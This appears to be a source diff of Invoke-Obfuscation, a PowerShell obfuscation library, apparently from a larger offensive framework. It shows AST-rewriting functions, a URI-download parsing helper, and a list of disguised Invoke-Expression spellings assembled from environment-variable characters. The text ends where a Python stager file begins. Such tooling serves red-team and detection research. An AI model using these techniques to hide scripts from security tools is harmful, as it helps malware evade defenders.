5216 ElseIf (-not $DisableNestedObfuscation) { Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
5217 Else { $AbstractSyntaxTree.Extent.Text }
5218 }
5219 ElseIf ($AbstractSyntaxTree.Left.GetType().Name -eq "ConvertExpressionAst" -AND $AbstractSyntaxTree.Left.Child.GetType().Name -eq "VariableExpressionAst" -AND
5220 $AbstractSyntaxTree.Left.VariablePath.IsVariable -AND $AbstractSyntaxTree.Left.Attribute.GetType().Name -eq 'TypeConstraintName') {
5221 If ($OperatorText -eq "=") {
5222 "Set-Variable -Name " + $AbstractSyntaxTree.Left.Child.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Right.Extent.Text))
5223 }
5224 ElseIf ($OperatorText -eq "+=") {
5225 "Set-Variable -Name " + $AbstractSyntaxTree.Left.Child.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Left.Extent.Text + " + " + (Out-ParenthesizedString $AbstractSyntaxTree.Right.Extent.Text)))
5226 }
5227 ElseIf ($OperatorText -eq "-=") {
5228 "Set-Variable -Name " + $AbstractSyntaxTree.Left.Child.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Left.Extent.Text + " - " + (Out-ParenthesizedString $AbstractSyntaxTree.Right.Extent.Text)))
5229 }
5230 ElseIf ($OperatorText -eq "*=") {
5231 "Set-Variable -Name " + $AbstractSyntaxTree.Left.Child.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Left.Extent.Text + " * " + (Out-ParenthesizedString $AbstractSyntaxTree.Right.Extent.Text)))
5232 }
5233 ElseIf ($OperatorText -eq "/=") {
5234 "Set-Variable -Name " + $AbstractSyntaxTree.Left.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Left.Extent.Text + " / " + (Out-ParenthesizedString $AbstractSyntaxTree.Right.Extent.Text)))
5235 }
5236 ElseIf ($OperatorText -eq "%=") {
5237 "Set-Variable -Name " + $AbstractSyntaxTree.Left.Child.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Left.Extent.Text + " % " + (Out-ParenthesizedString $AbstractSyntaxTree.Right.Extent.Text)))
5238 }
5239 ElseIf ($OperatorText -eq "++") {
5240 "Set-Variable -Name " + $AbstractSyntaxTree.Left.Child.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Left.Extent.Text + " + 1"))
5241 }
5242 ElseIf ($OperatorText -eq "--") {
5243 "Set-Variable -Name " + $AbstractSyntaxTree.Left.Child.VariablePath.UserPath + " -Value " + (Out-ParenthesizedString ($AbstractSyntaxTree.Left.Attribute.Extent.Text + " " + $AbstractSyntaxTree.Left.Extent.Text + " - 1"))
5244 }
5245 ElseIf (-not $DisableNestedObfuscation) { Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
5246 Else { $AbstractSyntaxTree.Extent.Text }
5247 }
5248 ElseIf (-not $DisableNestedObfuscation) {
5249 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
5250 }
5251 Else { $AbstractSyntaxTree.Extent.Text }
5252 }
5253 }
5254 }
5255
5256 function Out-ObfuscatedErrorStatementAst {
5257 <#
5258
5259 .SYNOPSIS
5260
5261 Obfuscates a ErrorStatementAst using AbstractSyntaxTree-based obfuscation rules.
5262
5263 Author: Ryan Cobb (@cobbr_io)
5264 License: Apache License, Version 2.0
5265 Required Dependecies: Out-ObfuscatedChildrenAst
5266 Optional Dependencies: none
5267
5268 .DESCRIPTION
5269
5270 Out-ObfuscatedErrorStatementAst obfuscates a ErrorStatementAst using AbstractSyntaxTree-based obfuscation rules.
5271
5272 .PARAMETER AbstractSyntaxTree
5273
5274 Specifies the ErrorStatementAst to be obfuscated.
5275
5276 .PARAMETER AstTypesToObfuscate
5277
5278 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
5279
5280 .PARAMETER DisableNestedObfuscation
5281
5282 Specifies that only the root ErrorStatementAst should be obfuscated, obfuscation should not be applied recursively.
5283
5284 .OUTPUTS
5285
5286 String
5287
5288 .EXAMPLE
5289
5290 Out-ObfuscatedErrorStatementAst -Ast $ErrorStatementAst
5291
5292 .NOTES
5293
5294 Out-ObfuscatedErrorStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5295
5296 #>
5297 Param (
5298 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
5299 [ValidateNotNullOrEmpty()]
5300 [Alias('Ast')]
5301 [System.Management.Automation.Language.ErrorStatementAst] $AbstractSyntaxTree,
5302
5303 [Parameter(Position = 1)]
5304 [ValidateNotNullOrEmpty()]
5305 [Alias('AstTypes', 'Types')]
5306 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
5307
5308 [Switch] $DisableNestedObfuscation
5309 )
5310 Process {
5311 Write-Verbose "[Out-ObfuscatedErrorStatementAst]"
5312 If (-not $DisableNestedObfuscation) {
5313 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
5314 }
5315 Else { $AbstractSyntaxTree.Extent.Text }
5316 }
5317 }
5318
5319 function Out-ObfuscatedPipelineAst {
5320 <#
5321
5322 .SYNOPSIS
5323
5324 Obfuscates a PipelineAst using AbstractSyntaxTree-based obfuscation rules.
5325
5326 Author: Ryan Cobb (@cobbr_io)
5327 License: Apache License, Version 2.0
5328 Required Dependecies: Out-ObfuscatedChildrenAst
5329 Optional Dependencies: none
5330
5331 .DESCRIPTION
5332
5333 Out-ObfuscatedPipelineAst obfuscates a PipelineAst using AbstractSyntaxTree-based obfuscation rules.
5334
5335 .PARAMETER AbstractSyntaxTree
5336
5337 Specifies the PipelineAst to be obfuscated.
5338
5339 .PARAMETER AstTypesToObfuscate
5340
5341 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
5342
5343 .PARAMETER DisableNestedObfuscation
5344
5345 Specifies that only the root PipelineAst should be obfuscated, obfuscation should not be applied recursively.
5346
5347 .OUTPUTS
5348
5349 String
5350
5351 .EXAMPLE
5352
5353 Out-ObfuscatedPipelineAst -Ast $PipelineAst
5354
5355 .NOTES
5356
5357 Out-ObfuscatedPipelineAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5358
5359 #>
5360 Param (
5361 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
5362 [ValidateNotNullOrEmpty()]
5363 [Alias('Ast')]
5364 [System.Management.Automation.Language.PipelineAst] $AbstractSyntaxTree,
5365
5366 [Parameter(Position = 1)]
5367 [ValidateNotNullOrEmpty()]
5368 [Alias('AstTypes', 'Types')]
5369 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
5370
5371 [Switch] $DisableNestedObfuscation
5372 )
5373 Process {
5374 Write-Verbose "[Out-ObfuscatedPipelineAst]"
5375 If (-not $DisableNestedObfuscation) {
5376 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
5377 }
5378 Else { $AbstractSyntaxTree.Extent.Text }
5379 }
5380 }
5381
5382
5383 # Utility functions
5384
5385 function Out-ObfuscatedAstsReordered {
5386 <#
5387
5388 .SYNOPSIS
5389
5390 Obfuscates and re-orders ChildrenAsts inside of a ParentAst PipelineAst using AbstractSyntaxTree-based obfuscation rules.
5391
5392 Author: Ryan Cobb (@cobbr_io)
5393 License: Apache License, Version 2.0
5394 Required Dependecies: Out-ObfuscatedAst
5395 Optional Dependencies: none
5396
5397 .DESCRIPTION
5398
5399 Out-ObfuscatedAstsReordered obfuscates an Ast using AbstractSyntaxTree-based obfuscation rules, and re-orders the obfuscated
5400 ChildrenAsts of the ParentAst inside of the ParentAst.
5401
5402 .PARAMETER ParentAst
5403
5404 Specifies the ParentAst, of which it's children should be re-ordered.
5405
5406 .PARAMETER ChildrenAsts
5407
5408 Specifies the ChildrenAsts within the ParentAst that can be re-ordered.
5409
5410 .PARAMETER AstTypesToObfuscate
5411
5412 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
5413
5414 .PARAMETER DisableNestedObfuscation
5415
5416 Specifies that only the root Ast should be obfuscated, obfuscation should not be applied recursively to the ChildrenAsts.
5417
5418 .OUTPUTS
5419
5420 String
5421
5422 .EXAMPLE
5423
5424 Out-ObfuscatedAstsReordered -ParentAst $ParentAst -ChildrenAsts (Get-ChildrenAst -Ast $ParentAst)
5425
5426 .NOTES
5427
5428 Out-ObfuscatedAstsReordered is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5429
5430 #>
5431 Param (
5432 [Parameter(Position = 0, Mandatory)]
5433 [ValidateNotNullOrEmpty()]
5434 [Alias('Ast', 'AbstractSyntaxTree')]
5435 [System.Management.Automation.Language.Ast] $ParentAst,
5436
5437 [Parameter(Position = 1, Mandatory)]
5438 [ValidateNotNullOrEmpty()]
5439 [System.Management.Automation.Language.Ast[]] $ChildrenAsts,
5440
5441 [Parameter(Position = 2)]
5442 [ValidateNotNullOrEmpty()]
5443 [Alias('AstTypes', 'Types')]
5444 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
5445
5446 [Switch] $DisableNestedObfuscation
5447 )
5448 Write-Verbose "[Out-ObfuscatedAstsReordered]"
5449 If ($DisableNestedObfuscation) {
5450 $ChildrenObfuscatedExtents = ($ChildrenAsts | % { $_.Extent.Text }) -as [array]
5451 }
5452 Else {
5453 $ChildrenObfuscatedExtents = ($ChildrenAsts | Out-ObfuscatedAst -AstTypesToObfuscate $AstTypesToObfuscate) -as [array]
5454 }
5455
5456 $ObfuscatedString = $ParentAst.Extent.Text
5457 $PrevChildrenLength = 0
5458 $PrevObfuscatedChildrenLength = 0
5459 If ($ChildrenObfuscatedExtents.Count -gt 1) {
5460 $ChildrenObfuscatedExtents = $ChildrenObfuscatedExtents | Get-Random -Count $ChildrenObfuscatedExtents.Count
5461 For ([Int] $i = 0; $i -lt $ChildrenAsts.Count; $i++) {
5462 $LengthDifference = $ObfuscatedString.Length - $ParentAst.Extent.Text.Length
5463 $BeginLength = ($ChildrenAsts[$i].Extent.StartOffset - $ParentAst.Extent.StartOffset) + $LengthDifference
5464 $EndStartIndex = ($ChildrenAsts[$i].Extent.StartOffset - $ParentAst.Extent.StartOffset) + $ChildrenAsts[$i].Extent.Text.Length
5465
5466 $ObfuscatedString = [String] $ObfuscatedString.SubString(0, $BeginLength)
5467 $ObfuscatedString += [String] $ChildrenObfuscatedExtents[$i]
5468 $ObfuscatedString += [String] $ParentAst.Extent.Text.Substring($EndStartIndex)
5469 }
5470 }
5471
5472 $ObfuscatedString
5473 }
5474
5475 function Out-ParenthesizedString {
5476 <#
5477
5478 .SYNOPSIS
5479
5480 Outputs a string that is guaranteed to be surrounded in a single set of parentheses.
5481
5482 Author: Ryan Cobb (@cobbr_io)
5483 License: Apache License, Version 2.0
5484 Required Dependecies: none
5485 Optional Dependencies: none
5486
5487 .DESCRIPTION
5488
5489 Out-ParenthesizedString outputs a string that is guaranteed to be surrounded in a single set of parentheses, which is
5490 often needed when re-ordering Asts within a script.
5491
5492 .PARAMETER ScriptString
5493
5494 Specifies the string that should be parenthesized.
5495
5496 .OUTPUTS
5497
5498 String
5499
5500 .EXAMPLE
5501
5502 Out-ParenthesizedString -ScriptString $ScriptString
5503
5504 .NOTES
5505
5506 Out-ParenthesizedString is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5507
5508 #>
5509 Param(
5510 [Parameter(Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
5511 [String] $ScriptString
5512 )
5513 Process {
5514 Write-Verbose "[Out-ParenthesizedString]"
5515 $TrimmedString = $ScriptString.Trim()
5516 If ($TrimmedString.StartsWith("(") -and $TrimmedString.EndsWith(")")) {
5517 $StackDepth = 1
5518 $SurroundingMatch = $True
5519 For([Int]$i = 1; $i -lt $TrimmedString.Length - 1; $i++) {
5520 $Char = $TrimmedString[$i]
5521 If ($Char -eq ")") {
5522 If ($StackDepth -eq 1) { $SurroundingMatch = $False; break; }
5523 Else { $StackDepth -= 1 }
5524 }
5525 ElseIf ($Char -eq "(") { $StackDepth += 1 }
5526 }
5527 If ($SurroundingMatch) { $ScriptString }
5528 Else { "(" + $ScriptString + ")" }
5529 } Else {
5530 "(" + $ScriptString + ")"
5531 }
5532 }
5533 }
5534
5535 function Test-ExpressionAstIsNumeric {
5536 <#
5537
5538 .SYNOPSIS
5539
5540 Recursively tests if an ExpressionAst is a numeric expression, and can be re-ordered.
5541
5542 Author: Ryan Cobb (@cobbr_io)
5543 License: Apache License, Version 2.0
5544 Required Dependecies: none
5545 Optional Dependencies: none
5546
5547 .DESCRIPTION
5548
5549 Test-ExpressionAstIsNumeric recursively tests if an ExpressionAst is a numeric expression, and can be re-ordered.
5550
5551 .PARAMETER AbstractSyntaxTree
5552
5553 Specifies the ExpressionAst that should be tested to see if it is a numeric expression.
5554
5555 .OUTPUTS
5556
5557 String
5558
5559 .EXAMPLE
5560
5561 Test-ExpressionAstIsNumeric -Ast (Get-Ast "1 + 2 + (3 - 4 * (5 / 6))")
5562
5563 .NOTES
5564
5565 Test-ExpressionAstIsNumeric is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5566
5567 #>
5568 Param (
5569 [Parameter(Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
5570 [ValidateNotNullOrEmpty()]
5571 [Alias('Ast')]
5572 [System.Management.Automation.Language.ExpressionAst] $AbstractSyntaxTree
5573 )
5574 Process {
5575 If ($AbstractSyntaxTree.StaticType.Name -in @('Int32', 'Int64', 'UInt32', 'UInt64', 'Decimal', 'Single', 'Double')) {
5576 $True
5577 }
5578 ElseIf ($AbstractSyntaxTree.Extent.Text -match "^[\d\.]+$") {
5579 $True
5580 }
5581 ElseIf ($AbstractSyntaxTree.Extent.Text -match "^[\d\.]+$") {
5582 $True
5583 }
5584 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'BinaryExpressionAst') {
5585 ((Test-ExpressionAstIsNumeric -Ast $AbstractSyntaxTree.Left) -AND (Test-ExpressionAstIsNumeric -Ast $AbstractSyntaxTree.Right))
5586 }
5587 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'UnaryExpressionAst' -AND [System.Management.Automation.Language.TokenTraits]::Text($AbstractSyntaxTree.TokenKind) -in @("+", "-", "*", "/", "++", "--")) {
5588 (Test-ExpressionAstIsNumeric -Ast $AbstractSyntaxTree.Child)
5589 }
5590 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ParenExpressionAst' -AND $AbstractSyntaxTree.Pipeline.GetType().Name -eq 'PipelineAst') {
5591 $PipelineElements = ($AbstractSyntaxTree.Pipeline.PipelineElements) -as [array]
5592 If ($PipelineElements.Count -eq 1) {
5593 (Test-ExpressionAstIsNumeric -Ast $PipelineElements[0].Expression)
5594 } Else { $False }
5595 }
5596 Else {
5597 $False
5598 }
5599 }
5600 }
5601
5602 function Get-AstChildren {
5603 <#
5604
5605 .SYNOPSIS
5606
5607 Gets the children Asts of a given AbstractSyntaxTree.
5608
5609 Author: Ryan Cobb (@cobbr_io)
5610 License: Apache License, Version 2.0
5611 Required Dependecies: none
5612 Optional Dependencies: none
5613
5614 .DESCRIPTION
5615
5616 Get-AstChildren gets the children Asts of a given AbstractSyntaxTree by searching the parent Ast's property
5617 values for Ast types.
5618
5619 .PARAMETER AbstractSyntaxTree
5620
5621 Specifies the parent Ast to get the children Asts from.
5622
5623 .OUTPUTS
5624
5625 [System.Management.Automation.Ast[]]
5626
5627 .EXAMPLE
5628
5629 Get-AstChildren -Ast $Ast
5630
5631 .NOTES
5632
5633 Get-AstChildren is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5634
5635 #>
5636 Param (
5637 [Parameter(Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
5638 [ValidateNotNullOrEmpty()]
5639 [Alias('Ast')]
5640 [System.Management.Automation.Language.Ast] $AbstractSyntaxTree
5641 )
5642 Process {
5643 Write-Verbose "[Get-AstChildren]"
5644 ForEach ($Property in $AbstractSyntaxTree.PSObject.Properties) {
5645 If ($Property.Name -eq 'Parent') { continue }
5646
5647 $PropertyValue = $Property.Value
5648 If ($PropertyValue -ne $null -AND $PropertyValue -is [System.Management.Automation.Language.Ast]) {
5649 $PropertyValue
5650 }
5651 Else {
5652 $Collection = $PropertyValue -as [System.Management.Automation.Language.Ast[]]
5653 If ($Collection -ne $null) {
5654 $Collection
5655 }
5656 }
5657 }
5658 }
5659 }
5660
5661 function Out-ObfuscatedChildrenAst {
5662 <#
5663
5664 .SYNOPSIS
5665
5666 Recursively obfuscates the ChildrenAsts of an Ast.
5667
5668 Author: Ryan Cobb (@cobbr_io)
5669 License: Apache License, Version 2.0
5670 Required Dependecies: Out-ObfuscatedAst
5671 Optional Dependencies: none
5672
5673 .DESCRIPTION
5674
5675 Out-ObfuscatedChildrenAst recursively obfuscates the ChildrenAsts of an Ast using AbstractSyntaxTree-based obfuscation rules.
5676
5677 .PARAMETER AbstractSyntaxTree
5678
5679 Specifies the parent Ast, whose children will be recursively obfuscated.
5680
5681 .PARAMETER ChildrenAsts
5682
5683 Optionally specifies the ChildrenAsts within the ParentAst that should be recursively obfuscated.
5684
5685 .PARAMETER AstTypesToObfuscate
5686
5687 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
5688
5689 .PARAMETER DisableNestedObfuscation
5690
5691 Specifies that only the root Ast should be obfuscated, obfuscation should not be applied recursively to the ChildrenAsts.
5692
5693 .OUTPUTS
5694
5695 String
5696
5697 .EXAMPLE
5698
5699 Out-ObfuscatedChildrenAst -Ast $Ast -ChildrenAsts (Get-ChildrenAst -Ast $ParentAst)
5700
5701 .NOTES
5702
5703 Out-ObfuscatedChildrenAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5704
5705 #>
5706 Param (
5707 [Parameter(Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
5708 [ValidateNotNullOrEmpty()]
5709 [Alias('Ast')]
5710 [System.Management.Automation.Language.Ast] $AbstractSyntaxTree,
5711
5712 [Parameter(Position = 1)]
5713 [System.Management.Automation.Language.Ast[]] $ChildrenAsts = @(),
5714
5715 [Parameter(Position = 2)]
5716 [ValidateNotNullOrEmpty()]
5717 [Alias('AstTypes', 'Types')]
5718 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
5719
5720 [Switch] $DisableNestedObfuscation
5721 )
5722 Process {
5723 Write-Verbose "[Out-ObfuscatedChildrenAst]"
5724 If ($ChildrenAsts.Count -eq 0) {
5725 $ChildrenAsts = (Get-AstChildren -AbstractSyntaxTree $AbstractSyntaxTree | ? { $_.Extent.StartScriptPosition.GetType().Name -ne 'EmptyScriptPosition' } | Sort-Object { $_.Extent.StartOffset }) -as [array]
5726 }
5727 If ($ChildrenAsts.Count -gt 0) {
5728 $ChildrenObfuscatedExtents = ($ChildrenAsts | Out-ObfuscatedAst -AstTypesToObfuscate $AstTypesToObfuscate) -as [array]
5729 }
5730
5731 $ObfuscatedExtent = $AbstractSyntaxTree.Extent.Text
5732 If ($ChildrenObfuscatedExtents.Count -gt 0 -AND $ChildrenAsts.Count -gt 0 -AND $ChildrenObfuscatedExtents.Count -eq $ChildrenAsts.Count) {
5733 For ([Int] $i = 0; $i -lt $ChildrenAsts.Length; $i++) {
5734 $LengthDifference = $ObfuscatedExtent.Length - $AbstractSyntaxTree.Extent.Text.Length
5735 $EndStartIndex = ($ChildrenAsts[$i].Extent.StartOffset - $AbstractSyntaxTree.Extent.StartOffset) + $ChildrenAsts[$i].Extent.Text.Length
5736 $StartLength = ($ChildrenAsts[$i].Extent.StartOffset - $AbstractSyntaxTree.Extent.StartOffset) + $LengthDifference
5737 $ObfuscatedExtent = [String] $ObfuscatedExtent.Substring(0, $StartLength)
5738 If (-not $ChildrenObfuscatedExtents[$i]) {
5739 $ObfuscatedExtent += [String] $ChildrenAsts[$i].Extent.Text
5740 }
5741 Else {
5742 $ObfuscatedExtent += [String] $ChildrenObfuscatedExtents[$i]
5743 }
5744 $ObfuscatedExtent += [String] $AbstractSyntaxTree.Extent.Text.Substring($EndStartIndex)
5745 }
5746 }
5747 $ObfuscatedExtent
5748 }
5749 }
5750
5751 function Get-Ast {
5752 <#
5753
5754 .SYNOPSIS
5755
5756 Gets the root Ast for a given script.
5757
5758 Author: Ryan Cobb (@cobbr_io)
5759 License: Apache License, Version 2.0
5760 Required Dependecies: none
5761 Optional Dependencies: none
5762
5763 .DESCRIPTION
5764
5765 Get-Ast gets the AbstractSyntaxTree that represents a given script.
5766
5767 .PARAMETER ScriptString
5768
5769 Specifies the String containing a script to get the AbstractSyntaxTree of.
5770
5771 .PARAMETER ScriptBlock
5772
5773 Specifies the ScriptBlock containing a script to get the AbstractSyntaxTree of.
5774
5775 .PARAMETER ScriptPath
5776
5777 Specifies the Path to a file containing the script to get the AbstractSyntaxTree of.
5778
5779 .PARAMETER ScriptUri
5780
5781 Specifies the URI of the script to get the AbstractSyntaxTree of.
5782
5783 .OUTPUTS
5784
5785 System.Management.Automation.Language.Ast
5786
5787 .EXAMPLE
5788
5789 Get-Ast "Write-Host example"
5790
5791 .EXAMPLE
5792
5793 Get-Ast {Write-Host example}
5794
5795 .EXAMPLE
5796
5797 Get-Ast -ScriptPath Write-Example.ps1
5798
5799 .EXAMPLE
5800
5801 Get-ChildItem /path/to/scripts -Recurse -Include *.ps1 | Get-Ast
5802
5803 .EXAMPLE
5804
5805 @('Write-Host example1', 'Write-Host example2', 'Write-Host example3') | Get-Ast
5806
5807 .EXAMPLE
5808
5809 @({ Write-Host example1 }, { Write-Host example2 }, { Write-Host example3 }) | Get-Ast
5810
5811 .NOTES
5812
5813 Get-Ast is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
5814
5815 #>
5816 [CmdletBinding(DefaultParameterSetName = "ByString")] Param(
5817 [Parameter(ParameterSetName = "ByString", Position = 0, ValueFromPipeline, Mandatory)]
5818 [ValidateNotNullOrEmpty()]
5819 [String] $ScriptString,
5820
5821 [Parameter(ParameterSetName = "ByScriptBlock", Position = 0, ValueFromPipeline, Mandatory)]
5822 [ValidateNotNullOrEmpty()]
5823 [ScriptBlock] $ScriptBlock,
5824
5825 [Parameter(ParameterSetName = "ByPath", Position = 0, ValueFromPipelineByPropertyName, Mandatory)]
5826 [ValidateScript({Test-Path $_ -PathType leaf})]
5827 [Alias('PSPath')]
5828 [String] $ScriptPath,
5829
5830 [Parameter(ParameterSetName = "ByUri", Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
5831 [ValidateScript({$_.Scheme -match 'http|https'})]
5832 [Uri] $ScriptUri
5833 )
5834 Process {
5835 If ($ScriptBlock) { $ScriptString = $ScriptBlock -as [String] }
5836 ElseIf ($ScriptPath) { $ScriptString = Get-Content -Path $ScriptPath -Raw }
5837 ElseIf ($ScriptUri) { $ScriptString = [Net.Webclient]::new().DownloadString($ScriptUri) }
5838
5839 # Parse script and return root Ast
5840 [Management.Automation.Language.ParseError[]] $ParseErrors = @()
5841 $Ast = [Management.Automation.Language.Parser]::ParseInput($ScriptString, $null, [ref] $null, [ref] $ParseErrors)
5842 $Ast
5843 }
5844 }⏎
+3
-2
lib/powershell/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1 less more
880880 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
881881 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
882882 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
883 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
884883 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
885884 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
886885 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
887
886 # Commenting below option since $env:Public differs in string value for non-English operating systems.
887 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
888
888889 # Randomly choose from above invoke operation syntaxes.
889890 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
890891
+2
-1
lib/powershell/Invoke-Obfuscation/Out-SecureStringCommand.ps1 less more
234234 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
235235 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
236236 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
237 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
238237 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
239238 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
240239 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')"
240 # Commenting below option since $env:Public differs in string value for non-English operating systems.
241 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
241242
242243 # Randomly choose from above invoke operation syntaxes.
243244 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
+10
-1
lib/powershell/Invoke-Obfuscation/README.md less more
145145 - Added additional ExecutionContext wildcard variable strings
146146
147147 v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA):
148 - Added 2 new ENCODING options: Special Characters and Whitespace⏎
148 - Added 2 new ENCODING options: Special Characters and Whitespace
149
150 v1.8.1 - 2017-12-19:
151 - Added COMPRESS function for easier conversion of multi-line scripts to a one-liner
152 command while drastically reducing the command length for cmd.exe command line length
153 limitation purposes.
154
155 v1.8.2 - 2018-01-04:
156 - Added AST obfuscation functions, which obfuscates by manipulating the structure of
157 the AbstractSyntaxTree without using many special characters.
+35
-3
lib/stagers/multi/bash.py less more
0 from __future__ import print_function
1 from builtins import object
